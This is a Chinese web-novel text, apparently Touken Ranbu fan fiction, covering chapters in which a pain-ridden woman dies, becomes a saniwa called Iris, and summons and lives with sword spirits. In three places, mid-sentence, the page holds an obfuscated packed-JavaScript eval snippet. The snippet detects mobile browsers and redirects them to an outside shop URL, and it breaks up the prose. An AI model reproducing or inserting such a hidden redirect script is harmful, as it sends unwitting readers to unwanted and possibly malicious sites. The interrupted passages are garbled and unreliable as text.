《病美人也可以领导本丸吗》 1. 死亡与新生 痛……好痛啊…… 身体仿佛被拉入千万里的海底,就像所有细胞都炸裂一般,每一处神经都在叫嚣着疼痛,但她却格外的畅快。她的意识已经模糊,最后一眼所见是即将沿着锁链吞噬她的火焰。 “快来人啊……”,“该死……快点多叫些人来救火啊……她要是死了,我们一个都逃不了!”…… 嘈杂逐渐远去,只剩下木材被点燃的噼啪声。她闭上眼睛,掩住眼里的讽刺与解脱。 太好了,终于结束了。终于……不用再被困于一隅,也不用再忍受这样蚀骨一般的疼痛了。 身体逐渐拥有从未有过的轻松,灵魂似乎也变得轻盈起来。她只能感觉到自己好像变成了一枚落叶,在一片流光中肆意的飘荡、飘荡……直到某一瞬间,在某个陌生的地点降落。 “大人,您还好吗?”耳朵比眼睛更早传来了信息,是一个陌生的声音。 她睁开眼,看清眼前的场景。自己坐在一个柔软的椅子上,周围围着一群素未谋面的人,脸上似乎透露着……担心?地板不是暗淡的木质,墙壁变得雪白明亮,空气中也不再漂浮着腐朽的气味。不远处,似乎还有某种奇怪的仪器,发着金色的光。总之……不是原来困住她的地方了。 根据观察到的信息了解了这个事实,她暗自松了口气。在哪里都好,只要不是还在那个泥潭沼泽般的结城家,就已经达到自己的目的了。她低下头,看到自己不被束缚的手腕,感受着身体从未有过的轻松感,由衷地感叹道。 “结城沫大人,您现在感觉怎么样?还有什么不舒服的地方吗?”旁边的人见她一言不发,又关心道。 听到这个名字,她不由得身体一僵,但又立刻控制住了自己。她抬起头,对周围的人微微颔首,“失礼了,我现在并无不适。请问……此为何处?” 听到她的回答,周围的人相互对视几眼,也都松了口气。其中一人上前一步,主动对结城沫介绍道,“大人,这里是时之政府。我是其中的一名负责人,您可以叫我村口治。” “时之政府的职责是维护历史的正常秩序,防止历史被‘历史修正主义者’所篡改。我们招募审神者,通过审神者召唤历史上著名的刀剑付丧神,与试图改变历史的时间溯行军作战。” 结城沫轻点头,垂下的浓密睫毛遮住眼中的深思,“那么,我又为何会在此处呢?如果没猜错的话,我现在其实已经死了吧?” 听到她的发问,村口治轻咳一声,带着歉意解释,“非常抱歉,未经您的允许就将您带到此处。如您所言,您的身体确实已经在那场大火中‘死亡’了,我们所带回的只是您的灵魂。但也请放心,现下状态您依然可以接触实物。 “我们与时间溯行军的战斗僵持不下,战事吃紧,我们需要有更多更高质量的审神者的加入,而您身上的磅礴精纯的灵力正是我们所需的。所以……贸然将您带领至此,是希望您能够加入我们,成为一名审神者。作为交换,我们也会提供您所想要的福利。”说到这里,村口治停顿了一下,似乎在观察结城沫对此的态度。 我所想要的?不了解所谓时之政府的情况,结城沫并未贸然发言,只是微笑示意村口治继续讲下去。 看来也是个不好忽悠的主呀……村口治默默擦了擦汗。不过这样也好,起码以后有任务时能好好权衡利弊,排兵布阵——想起了之前的一些总是热血上头,不管不顾就派出刀剑付丧神战斗,最后还要时之政府来收拾烂摊子的审神者,他苦中作乐的想到。 “咳,其实我们了解到,您所拥有的灵力已经超出了您身体的承受范围了,所以在之前,您不得不承受无时无刻的疼痛。而成为审神者,维系本丸正常生活,召唤刀剑付丧神并且支持他们的战斗……这一切都需要消耗不少的灵力。通过这些操作,您体内的灵力能达到一定的释放,对您所造成的疼痛也会大大减轻。 “除此之外,成为审神者,您所拥有的本丸是独属于您一个人的;而您所召唤出来的刀剑付丧神也将忠诚与您。之后,您还可以接不同的任务,去体验您未曾感受过的不同世界。对了,还有每月的工资以及……” 村口治费尽力气推销着,没办法,谁让他们实在是太需要她身上的灵力了。况且也是他们有求于人,对于结城沫来说,她可能更希望自己死后一了百了吧…… “所以……您看呢?”村口治小心翼翼地问到。 思忖片刻,结城沫最终还是答应了。身体暂时不受疼痛困扰的轻松感觉,亲身感受外面世界的诱惑,拥有依赖着自己的刀剑付丧神,守护所处世界的历史的责任……她也不知是哪一点,亦或者是所有的种种触动了她。 所以无论如何,就试试看吧,反正不会比之前还要糟糕的。结城沫想到。 见她点头同意了,村口治以及后面的时之政府众人终于舒展开了凝重的脸色。毕竟跨越时间精准地去捞一个灵魂也是一件不容易的事嘛…… “好的!接下来请您移步这里,请让我来为您介绍审神者就任流程……”村口治热情地在前面带路。 感受到他的急切,结城沫不禁有些失笑,便跟上了他的步伐。顺着村口治推开的门向外望去,能看到形形色色的人匆忙地走过光可鉴人的地板,偶尔还能看到一两只脸上有着奇异花纹的小狐狸跑过。 “那是?” 见结城沫目不转睛地盯着一只跑过去的狐之助,村口治笑着介绍道,“那是狐之助,是时之政府所属的管狐部门的成员,负责照顾新上任的审神者,起到上传下达的作用。之后您也会有一只属于您的狐之助的。” 真可爱。想到自己之后也会拥有这样一只可爱的小狐狸,结城沫对以后的生活更有了期待。 接着他们又进入一间房间。“大人,您请坐。”结城沫坐下后,村口治拿出一份纸质的文件递给她,“这是我们的合同,请您过目。” 仔细地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623637|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阅读了这份合同,询问了村口治一些细节,看着合同上面的福利与待遇,结城沫不由感叹时之政府留下她的诚意。接过村口治递给她的笔,结城沫刚打算在这份合同上签下自己的名字,便被村口治拦住,“稍等一下,大人。名字是最短的咒,为了保护审神者,以防历史修正主义者和时间溯行军利用名字对审神者做出一些危险的事,或是其他的一些特殊情况,麻烦您取一个代号代替您的名字。另外,在以后与您的刀剑付丧神的相处中,也请您继续使用这个代号。” “那么,你们知道了我的名字,这不会有影响吗?以及,如果我向我的刀剑付丧神透露了我的名字,会有什么后果吗?”结城沫问。 “时之政府会对审神者的名字进行保护。在您离开这栋大厦后,我们的工作人员对您的名字的记忆会自动消失,这点请您放心。至于您的付丧神……虽然不会有什么危害,但交换了名字,就会有更深层次的联系——在您考虑清楚前,还是建议您不要这么做。” “我知道了,谢谢告知。”重新来过,结城沫也不想顶着这样一个令人作呕的姓氏继续生活。她想了想,提笔在合同上写下“鸢尾”二字。鸢尾,她在书中看过,象征着自由、希望和美好未来。就用这样的代号,开启真正属于她自己的人生吧。 笔落契成。金光闪过,合约化为金粉飘散空中,同时,结城沫,不,现在应该称其为鸢尾,也感受到一种无法诉说的因果与自己的灵魂缠绕在一起。 咚咚咚。门外传来敲门的声音,但却不似往常一样清晰。 “哈哈,应该是您的狐之助来了,”村口治对鸢尾笑道,又转头向门口,“请进来吧,狐之助!” 听到是狐之助,鸢尾期待地望向门口。门被推开,一只看起来与刚刚见过的狐狸相似的狐之助溜了进来。它径直跑到鸢尾脚边,用头蹭了蹭她的脚踝,“大人,咱以后就是您的专属狐之助了哦,请多多指教呦!” 鸢尾小心地弯下腰,轻轻地将狐之助捧起来,抱在怀里。她捏了捏狐之助的小爪子,“你好呀狐之助,请多多指教。” “那么,鸢尾大人,接下来就由狐之助带您到专属的本丸吧。”村口治看着一魂一狐其乐融融的画面,提议道。 “好的呦!大人请跟咱走吧。”狐之助在鸢尾抚摸它的手心中蹭了蹭,跳下来带路,“这边哦。” “那么之后见了,村口君。”鸢尾向村口治告别,跟上了狐之助。“再见,鸢尾大人。”村口治笑着摆手。 跟着狐之助的脚步,鸢尾来到一处奇怪的装置前。“这就是时空转换装置了,鸢尾大人。接下来,请输入您的灵力,我们就能到您的本丸了。” 我的……本丸吗?鸢尾看着自己的掌心,又看向眼前这个金灿灿的装置,将自己的灵力缓慢输入其中。 以后会是什么样子呢?这可真是一个值得期待的事呀。在时空转换装置发出的金光包围他们时,鸢尾如此想到。 2. 本丸与初始刀 结城沫,女,年龄不详。 因为从出生起就身怀大量灵力,被结城家“束之高阁”,作为“灵力供续器”而存在。被当作是“器物”而非“人类”,结城沫也不知道自己究竟在与世隔绝和因身体过载灵力而导致的无时无刻的痛苦中煎熬了多久,直到她策划了一场大火,才最终逃离泥沼。 现在,她作为审神者鸢尾,与狐之助站在之后将专属于她的本丸门口,推开大门,以后会是不一样的生活。 狐之助殷勤地上前,帮鸢尾推开大门,“鸢尾大人,这里就是您的A43919号本丸了,咱们进去吧!” 它很喜欢新来的这位大人,灵力温暖又充沛,长得好看还温柔,帮它顺毛的力度也刚刚好,听时之政府的其他工作人员说也大有来头,一看就是一位好审神者!所以一定要先和她打好关系,这样以后才能有充足的油豆……不对,才能更好地让它履行身为政府狐之助的职责嘛! “谢谢你了,狐之助,”鸢尾摸摸它的头,“要麻烦你带我逛逛这里了。” “就交给咱吧,大人!咱可是经过了严格的培训的,我们先往这里走……”狐之助迈着轻盈的步子带路,向鸢尾大致介绍了本丸的组成。 “时之政府为了留下鸢尾大人,可是拿出了十足的诚意!”在逛本丸的路上,狐之助讲解着时政提供的福利, “除了基础本丸的锻造室、手入室等地方,还提供了温泉、大片农田以及附近的山林湖泊。另外,一些诸如甲州金、委托符、加速符之类消耗品的数目也极为可观呢。” 狐之助说得正兴起,回头一看却发现鸢尾正蹲在温泉边上,手在水里面轻轻撩动着。 “大人?”狐之助歪着头,不知道鸢尾在做什么。 “啊,没事。”鸢尾没有过多的解释,站起来弹了弹手上的水,“这么大的本丸,看起来太过空旷了呢……” “哈哈,这您就不用担心了。等到以后刀剑男士多了起来,还怕您会嫌太吵闹了呢!” “是吗?那倒是值得期待了。”鸢尾柔柔地笑着,“那我们继续走吧。” 大致在本丸内逛了一圈,狐之助带着鸢尾来到天守阁。“鸢尾大人,接下来您只需要在这本刀帐上输入灵力就可以了。” 鸢尾按照狐之助的指导注入灵力,原本暗淡的刀帐浮至空中,发出淡金色的光芒,与鸢尾的呼吸同频,一明一暗地闪烁着。鸢尾身上的灵力从天守阁四散而出,迅速笼罩整个本丸。不远处,原本只是枯枝的万叶樱也慢慢恢复光泽,嫩绿的小芽从枝头冒出,以肉眼可见的速度伸展开。沐浴在温暖灵力下的饱满的淡粉色花骨朵儿仿佛下一秒就将在眼前绽放。 感受着鸢尾暖洋洋的灵力的包裹,狐之助舒服地眯上眼睛。“真是充沛的活力呀……”它闲适地摇着尾巴想到。 看鸢尾渐渐收敛了灵力,它用前面的小爪子碰了碰胸前的铃铛,铃铛上投射出五把刀的影像。“鸢尾大人,请从这五把刀里面选出一把作为您的初始刀吧!” 仔细欣赏这五把刀的投影,鸢尾一时陷入了纠结中。“感觉都很优秀呢……”她思考良久,又摇了摇头,“算了,还是交给命运来决定吧。”她闭上眼睛,手指滑动着五把刀的投影,在某刻又突然停下,虔诚地说道,“请显现吧。” 看着鸢尾突然充满了孩子气的操作,狐之助用小爪子擦了擦不存在的汗,“哈哈……这位大人也有这一面呢……” 在鸢尾手指停下的地方,被她选中的刀剑的投影逐渐凝实。鸢尾握住这把刀,小心地注入灵力,刀剑中散发出光芒—— “我,加州清光。河下游的孩子,河原之子呢。难以上手不过性能一流。”加州清光从闪烁的光芒中向鸢尾迈出一小步,注视着她蜜色的眼眸,“我用起来不是很方便,所以呢,还请主人使用时多用点心哦?” “欢迎……加州君?”太久没有和人(?)打交道,再加上初次相见,不知道如何称呼为好,鸢尾选择了一个比较尊敬的称呼。她微微歪头,一缕绸缎般柔顺的发丝悄悄拂过她的脸庞,蜜色的眼眸如同蜂蜜一般,将映入眼中的加州清光的身影包围。 诶?有点可爱。加州清光心里默默想。 “啊……叫我清光就好了,主人。”加州清光朝鸢尾眨了眨左眼。 “清光……”鸢尾小声念着他的名字,对他露出一个小小的微笑,“很好听呢。” “是,是吗……”不知道为什么,听着自己的名字从主人的口中念出,加州清光脸上总有一种热热的感觉。人类的身体可真奇怪呀,自己在作为刀的时候就完全没有这种感觉呢……他默默想。 “走吧,清光。我带你去逛逛我们的本丸。”鸢尾柔和的声音打断了他的思绪,“狐之助也陪我一起吧?” “是——”狐之助跳上加州清光的肩膀,“我们快点跟上吧,加州殿。本丸可是超——大的哦!” “是吗?”加州清光甩走脑中奇奇怪怪的想法,笑着摸了摸狐之助的头,跟上鸢尾,“那我就得亲自看看到底多大咯。” …… “那么接下来就该出阵了,加州殿。”参观完本丸,狐之助提醒道。 “出阵吗?没问题。” “那个……出阵,是到战场上吗?我也想去看看。”鸢尾打断了他们的对话。 “诶?主人也想一起吗?那太危险了吧……”清楚自己刚被召唤出来,还没有足够大的信心能在战场上保护好主人,加州清光连忙阻止。 “清光,不用担心我的。简单的结界是我曾经学习过的,保护好自己还是没有问题的——狐之助觉得呢?”鸢尾悄悄朝狐之助眨眨眼。 “如果是鸢尾大人的灵力的话,在初级战场是完全没问题的,加州殿请放心吧。” 听到狐之助也这样说,看着鸢尾渴望的眼神,加州清光也不忍再阻止了。“好吧。主人,那就跟在我的身后吧,我会尽全力保护好你的。” 加州清光在狐之助的指导下启动时空罗盘,金光包围了他们,再一睁眼就已经抵达战场了。 “主人,退后!” 还未来得及看清周围环境,敌人就已朝他们杀过来。加州清光拔出佩刀,架住伸到眼前的敌刃,迎上前去。刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623638|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 击杀一个敌打刀,时间溯行军的身体还没消散,又有新的敌刀围住他。 “可恶……”加州清光又挥刀斩杀掉一个敌人,眼里缀满冰冷的杀意,“这样就完全没办法回到主人身边了啊!”敌军散发着不详黑气的身影团团包围住他,遮住了他望向鸢尾的视野。 身后突然传来刀刃挥动的破空声,可加州清光与身前的敌刀纠缠着,没办法顾及。“噔”背后传来刀剑砍在硬物上的声音,他的身上却完全没有痛感。趁此机会,加州清光一举挥刀解决面前的敌人,转身顺势架住身后的刀,“噢啦噢啦噢啦!”寒光逼人的打刀贯穿了敌人的身体,在他化为灰烬消失前,又挥出一道刃芒,将场上剩余的时间溯行军一举歼灭。 感受到时间溯行军的气息全都消失了,加州清光才呼出一口气,收刀回鞘。“主人,你没事吧?”他快步走向鸢尾,在鸢尾摇摇头表示自己没事后,才放下心来。他摸着自己完好无损的后背,疑惑的问道,“刚刚是?” “是鸢尾大人用灵力聚成的结界哦!怎么样,厉害吧!”不知何时霸占了鸢尾怀里的位置的狐之助高兴地抢答。 “好厉害!主人的灵力居然能做到这种程度吗!”清光瞪大了眼睛,但又很快暗淡了神色,“没想到作为刀剑,没能在战场上好好保护主人,反而要靠主人的保护才免受于伤害……这样的我” “这样的你,只是用另一种方式在保护着我而已。”鸢尾接过他的话,“即使没在我的身边,清光其实也是靠着打退敌人的方式在保护着我,履行着保护历史的使命。只有正确的历史得到维护,可以说今天我们的存在和相遇才能得以保留,都多靠了你们呢。” “也,也没有啦……”听到鸢尾的话,清光低下头,避开鸢尾温柔的目光,脸颊悄悄泛起一抹淡淡的红晕。 看出清光的羞涩,鸢尾转而提起别的话题,“时间也差不多了呢,我们回去吧。”清光点点头,启动了转移装置,再一眨眼就又回到了熟悉的本丸。 “太阳都快落山了呢……”望着浸染成橙色的天空,鸢尾感叹道,“真是美丽的日落啊。”清光看着她被落日余晖也染上一层暖意的侧脸,刚准备说些什么,就被一阵“咕噜噜~”的声音打断。 两人失笑,一起看向还赖在鸢尾怀中的狐之助。“咱,咱饿了嘛。从中午到现在,咱可是一直没吃饭的!”被两人盯得不好意思,狐之助默默为自己抗辩,“而且鸢尾大人也一直没吃呢,清光殿还出去杀敌了,你们难道都不饿吗?” “是~是,那就由我来做饭吧——不过这种事情我可不擅长啊……”清光应道,“主人,你先去休息一下吧。狐之助,想早点吃上饭的话就快来帮忙!” “虽然可能帮不上什么忙,但我也来打打下手吧?只有我一个人休息的话,总觉得有点愧疚呢。” “这……”看出清光的犹豫,鸢尾轻轻拉着他的衣角,轻轻晃了晃,“走吧?不然天就要黑了哦。”趁着清光发愣的时候,鸢尾抱着怀里的狐之助向厨房走去。清光回过神,快步向夕阳下鸢尾显得格外清瘦的背影跑去,“主人……好狡猾!” 3. 厨房与锻刀 “然后呢?最后主公大人和加州殿昨天晚上吃了些什么?”窝在鸢尾怀里的今剑仰起头盯着鸢尾蜜色的眼睛好奇发问,旁边围坐在矮桌旁的一圈小孩子们也期待地看向她,其中还有一两人羡慕地看着待在鸢尾怀抱里的今剑。 “这个嘛……”鸢尾避开小孩子们亮晶晶的眼睛,声音带有不好意思的迟疑。 “不熟的米饭,烧焦的鱼,还有又甜又涩的味增汤——真是可怕的味道啊……”在矮桌上被五虎退和前田梳着毛的狐之助懒洋洋地揭了她的底。 “诶!”小孩子们一起发出惊讶的声音。“哈哈,超乎大家的想象了吗?抱歉抱歉。”鸢尾别开脸,白皙的脸上不免泛起桃粉色,“还被禁止进入厨房了呢……”说到这里,她又回忆起了昨天晚上厨房里“狼狈”的场面…… – “那就先蒸上米饭吧!话说……这些水应该够了吧?”清光淘完米后凭感觉在锅里放进一些水,盖上锅盖后点火。旁边,鸢尾正按照狐之助的指导往味增汤里加入调料。 “放入食材后加一勺味噌酱,再加入适当的盐,煮一煮就好了!”狐之助趴在鸢尾肩膀上信誓旦旦地说,“怎么样,大人,是不是非常简单!” “是?是吧……”鸢尾不确定地回应着,看到写着“味噌酱”的罐子松了口气,舀出一勺加入正咕噜咕噜冒着泡的锅中。但是对着没有标签的调味罐子就犯了难——“哪个是盐呢?”她在书中看到过,通常的食用盐是白色的,所以…… “哇!大人快加盐呀,汤煮开了。”狐之助紧紧盯着锅里正在沸腾的味噌汤,没注意到鸢尾的犹豫。 “好,好的!”被这么一催促,还是第一次进入厨房的鸢尾也紧张起来。她急忙拿起最近的那一瓶白色调味料,谨慎地往锅里撒了一点。“这样应该就可以了吧?”她不确定地问。 “是的,接下来只要搅一搅,等调料都化开了就可以了。我之前在管狐前辈家,看他们都是这么做的!”看到自己的经验帮上了大忙,狐之助骄傲地挺起小小的胸膛。 “是,多亏了狐之助呢。”鸢尾笑着摸摸狐之助的头。 “哇,味噌汤已经好了吗!我来试试味道吧。”清光盖上那边的锅盖,凑过来鸢尾这里。他用长勺舀了一点味噌汤,分装在三个小碟子里,递给鸢尾和跳到桌子上的狐之助。他们动作一致地吹了吹热腾腾的汤,然后一起喝下。下一刻—— “咳咳咳!”清光和狐之助出奇一致地咳嗽起来,鸢尾不明所以地看着他们两个。 “为……为什么……”清光表情复杂地盯着手中的碟子,“为什么这个味噌汤是甜的?” “不仅是甜的啊,”狐之助吐了吐舌头,似乎想把刚刚喝下去的奇怪味道散掉,“还又甜又涩!” “诶?怎么会——是我加错调料了吗?”鸢尾急忙找杯子倒水,“抱歉抱歉。” “没事的,主人。”清光一口气喝完杯子里的水,才有力气继续说,“不过下次,做饭这种事还是请务必交给我们……” “等等,加州殿,你锅里煮的什么东西呀?为什么有一股烧焦的味道!” “遭了,我的鱼!”清光急忙冲过去,拧掉火打开锅盖,一股强烈的烧焦味扑面而来。他挫败地掩面,“算了,主人,让我收回刚刚的话吧。做饭这种事,果然还是交给更擅长的人吧……” 最后,为了不浪费粮食,他们还是一起解决掉了这顿奇怪的晚餐…… - “这种时候果然还是需要一些擅长内务的刀啊……”狐之助摇着蓬松的尾巴,懒洋洋地补充。 “还有这样的刀吗?” “当然了,鸢尾大人。受到前主的影响,不同的刀也会有自己擅长与不擅长的东西。比如热衷料理的烛台切光忠,因为爱好风雅而喜欢洗衣的歌仙兼定等等……” “哦!是小光吗?”一旁的太鼓钟贞宗惊喜地问。 “小光?太鼓钟认识烛台切光忠吗?”鸢尾和其他几个小孩子们看向太鼓钟贞宗。 “小光啊,他和我一样,都在伊达家待过的!”解释完之后,太鼓钟贞宗却又冷静下来,“真期待小光能来呢,不过锻刀这种事情,可能也是要看缘分吧。主人不用担心,在小光来之前,我也会一起在厨房帮忙的!” “这样啊……那我们现在就去试试看吧!”鸢尾拍掌决定,“烛台切,歌仙,还是其他的大家,更多刀的话,本丸也会更热闹吧。” “好诶!”小孩子们快乐地跟上鸢尾。作为刀,在未显形之前,他们也或多或少有着不同的羁绊。而且他们是同一时间被鸢尾召唤而出的,对于刀剑是如何被锻造出来的,也很好奇。 小孩子们拉着鸢尾的手,或是害羞地缀在身后,说说笑笑地来到锻刀室。将锻刀需要用到的材料告诉刀匠,鸢尾蹲下来用食指轻柔地摸了摸刀匠的头,“又要拜托你啦,刀匠先生。”刀匠也笑眯眯地点了点头,转身投入相应的锻材。 “3小时?”太鼓钟疑惑地念出锻造炉上显示的时间。 “3小时就是锻造需要用到的时间。这个时间……出烛台切光忠的概率还是很高的嘛!”趴在鸢尾肩膀上的狐之助蹭蹭她的脸颊,“真不愧是鸢尾大人呢……” “要不要使用加速符呢?这样就可以不用花那么多时间等待了。”狐之助提议。 “不用了。”出乎意料地,鸢尾拒绝了。 见狐之助和周围的一圈小孩子们都用疑惑的眼神盯着她,鸢尾不由得失笑,用手轻轻抚过太鼓钟的头发上的渐变色的羽毛,“等待的时候,才能更加深刻地记住自己对即将到来的同伴的好奇或期待吧。我们还有很长时间,可以慢慢期待新人君的到来。” “那么在接下来等待的时间里,有没有人愿意来厨房帮个忙呢?当然,主人就不用了。”门外路过的清光打破了屋内大家若有所思的氛围。他看着偏头自己的指甲,小声喃喃,“真是的,要是指甲颜色掉了就不可爱了啊……” “好,就让我华丽地大干一场吧!”太鼓钟举手说道。 “我也来帮忙。”“我也去!”前田和今剑也应道。 “如,如果需要的话,我也可以帮忙……啊,小虎,不可以扯主人的衣服!”五虎退说到一半,看到正扯着鸢尾衣角往上爬的小老虎,手足无措地试图把它摘下来,但又怕弄破鸢尾的衣服。 “没关系的,小老虎很轻,不会弄坏衣服的。”鸢尾对五虎退安抚地笑,把小老虎从衣服上摘下来,动作熟稔地挠挠它的下巴,把它挠得发出舒服的呼噜声。“如果退也要去厨房帮忙的话,就让小虎陪着我吧,可以吗?” “嗯……嗯!”退惊喜地睁大眼睛,开心地应下了。看到主人对小虎的喜欢,他自然也是非常开心的,又不好意思地问道,“剩下的小老虎们也可以一起陪着主人吗?” “当然可以啦,谢谢退。”鸢尾蹲下来,把剩下的几只毛绒绒揽在一起,用侧脸蹭了蹭它们柔软蓬松的毛,从其他刀剑付丧神的角度看过去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623639|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她就像被一大丛蒲公英包围,“那我就在这里等着大家啦!” 看着自己玩心大发陪着小虎玩叠叠乐的主人,清光无奈地笑笑,“嘛,走吧,不然午饭就要变成晚饭了。” 看着清光带着一群小孩子浩浩荡荡地往厨房走去,又对比了一下沉迷于面前的这堆毛绒绒的自己,鸢尾感叹,“大家可真是可靠,那么我也该做一些自己力所能及的事了。”说着,对围在自己脖子上假装围脖的狐之助耳语几声,待狐之助点头,带着甲州金和小判离开之后,又在屋子外拔了几根狗尾巴草,用它和五只小老虎们好好培养了一番感情,不时又分神注意着锻刀炉内的情况。“请安心地到来吧……无论是谁,这里都是一个十分欢迎你的地方呢。”看着小虎迅捷地扑向她摇动的狗尾巴草,鸢尾露出恬淡的笑容,亲昵地抱起它,抵着额头望进它纯净的加金色眼瞳中,由衷想到。 – 有了小孩子们的帮忙,午饭果然比昨天的晚饭丰盛且美味多了,从鸢尾惊喜的表情中,做饭的“厨师们”也收到了极大的鼓舞。 “怎么样,是不是很华丽的一餐!”太鼓钟趴到鸢尾身前问。 “好吃!原来正常的饭菜是这样的味道啊。”鸢尾轻轻接住扑到她怀里的太鼓钟,顺便揉揉他青蓝色的头发。 正常的饭菜?所以主人/主公大人以前过的到底是什么生活啊?刀剑们内心暗自叹息,看着鸢尾的眼神中不自觉又带上了心疼。 不过鸢尾似乎没有察觉到这些,“吃过午饭,大家就好好休息吧。今天下午需要大家一起出去远征呢。” “所有人吗?”大家面面相觑,似乎有什么话想说。 “按理来说是这样的。”鸢尾注意到大家的犹豫,“如果有什么疑问的话,提出来也没关系的?” “主人,不留几个人在本丸陪你吗?虽然这里是很安全没错啦,但是……”所有人都出去,把主人一个人留在家里什么的,还是太放心不下了。主人饿了怎么办?无聊了怎么办?要是不小心受伤了怎么办?即便是短时间的相处,但历经时间历史淘洗的刀们还是看出自己主人身上有一种成熟又幼稚的矛盾感。虽然主人灵力强大又心思细腻,不知道为什么还有一种历尽沧桑后的淡然自若的感觉?但从生活经验和常识上看,好像还是和小孩子没什么差别呢。这样的话,果然还是不放心她自己一个人在家呀……完全没有意识到自己已经隐隐有着朝主控方向发展的打刀和几振小短刀们默默想到。 “诶?我有这么不靠谱吗……”被鸢尾潋滟的杏眼用委屈的神情盯着,大家不知为何都幻视了五虎退撒娇的小虎。虽然真的不放心,但是这种情况下完全没办法说出来啊…… “哎呀,反正还有咱嘛。”狐之助趁机挤走还赖在鸢尾怀里的太鼓钟贞宗,自觉在鸢尾怀中找好位置,蓬松的大尾巴惬意地晃着。 见狐之助都这样说了,众人也不好再说什么,只能暗自决定提高远征效率,早点赶回来。以及——本丸真的还需要更多的人手啊! 看到大家都收拾完碗筷,离开大广间去做远征的准备了,鸢尾才松了口气,捂着心口慢慢伏在桌上。 “鸢尾大人……”狐之助从她怀里跳到桌子上,看着她掩住眼睛的、颤抖的眼睫,只能心疼又徒劳得用头蹭蹭她的脸颊,却不知该如何缓解她的疼痛。 鸢尾也只是轻轻摇头,对它露出一抹微弱的笑。 大人真的很美,狐之助不合时宜地想到,就好像一朵雨中的鸢尾。 4. 新人与礼物 万叶樱枝叶层层叠叠,几缕明媚的阳光透过树叶的缝隙,在松软的草地上投映下金粉似的光点。风无声地拂过枝头怒放的樱花,也拂过不远处廊下赏花之人柔软的发。 一只精心涂过红色指甲油的手从怀里勾出绣着自己刀纹的红色御守,在旁边蓝色头发的同伴眼前晃了晃,“唉,你怎么知道昨天主人在我们远征回来之后就送了我们礼物?” 旁边的同伴,也就是今天刚显现的大和守安定,皮笑肉不笑地回复道,“我不仅知道这个,我还知道这上面的刀纹是主人亲手帮你们缝的。这已经是你说的第四遍了吧?从大广间到这里,遇到一个新人就要说一遍,我听的耳朵都要长茧子了!” “诶——安定真是的,老是这么凶,肯定得不到主人的宠爱的。那我说点你不知道的,看,”清光又得意地在他面前挥了挥手,“主人昨天晚上帮我涂的指甲油!怎么样,好看吧。虽然主人说她这是第一次帮别人涂指甲油,可是上手却很快呀,真不愧是主人……” 见清光又开始絮絮叨叨这几天和主人的故事,翻来覆去地欣赏他的御守和艳红的指甲,大和守安定只能趁他不注意偷偷走开。 有那么好吗?他走近万叶樱,绕到树的另一侧坐下,双手支在头后面,仰面盯着穿过树叶的细碎的光,身后巨大的树干掩住历他的身影。他回想起今天早上见到所谓的主人的情景,但也想不明白为什么她会那么让清光挂记——好像也没什么特别的,除了眼神很温柔,长得又漂亮又脆弱,而且看起来不像是能使用他们的样子……大和守安定眼神逐渐放空,但心里又升起一丝隐秘的希望,她会像清光说的那样,好好爱护他们吗? “哇!有没有被吓到了啊?”,“哗啦”一声,树上倒吊下来一个白色的身影,像鬼魂一般突然出现在安定的眼前。正在胡思乱想的大和守安定被吓得一抖,条件反射地想抽出本体向眼前的“不明物体”刺去。 “喂喂喂,倒也不用这么热情吧?”见状,倒挂下来的人轻盈地把身子一转,像一只白色的鹤一样落在地上,“哟,我是鹤丸国永,刚来到这座本丸,请多指教。” 看清对方的身影,大和守安定这才收回紧握在手中的刀,“……我是大和守安定,请多指教——不过惊吓就免了。” “哈哈哈,人生还是需要一些意料之外的事啊,失去了惊吓和惊喜,心就会因此先死的,”听到安定的话,鹤丸国永发出爽朗的笑声,“对了,你知道加州清光在哪吗?主人说要麻烦他带着我参观一下本丸。” “诶,要清光来带吗?”安定有些疑惑,他记得清光说过当有新刀显现时,主人都会亲自带着逛一圈本丸,今天早上他来的时候也是这样子的。 “是啊,本来主人说是要亲自带我参观的,但时之政府好像临时有什么事,狐之助就催着她过去了。” 这样啊……安定点点头,带着鹤丸找到还在廊下吹风的清光。是什么事那么着急呢…… —— 是什么事那么着急呢?刚刚踏出传送阵的鸢尾也这样问怀中的狐之助。 狐之助:“据咱所知,好像是与鸢尾大人的灵力有关。” 再仔细问,它也不知道更多的细节了。不过刚听说与鸢尾大人的灵力有关,它还是挺开心的。大量的灵力是大家求之不得的东西,可这样的灵力又怎么是一个人的身体所能承载得了的呢?鸢尾大人无时无刻的疼痛也是灵力过载的表现。可是鸢尾大人又不把这当一回事,说早就已经习惯了,还不肯让自己的刀剑付丧神知道,就只有它在默默心疼她……想到这里,狐之助又心累地叹了口气,希望这次时之政府能带来好消息吧。 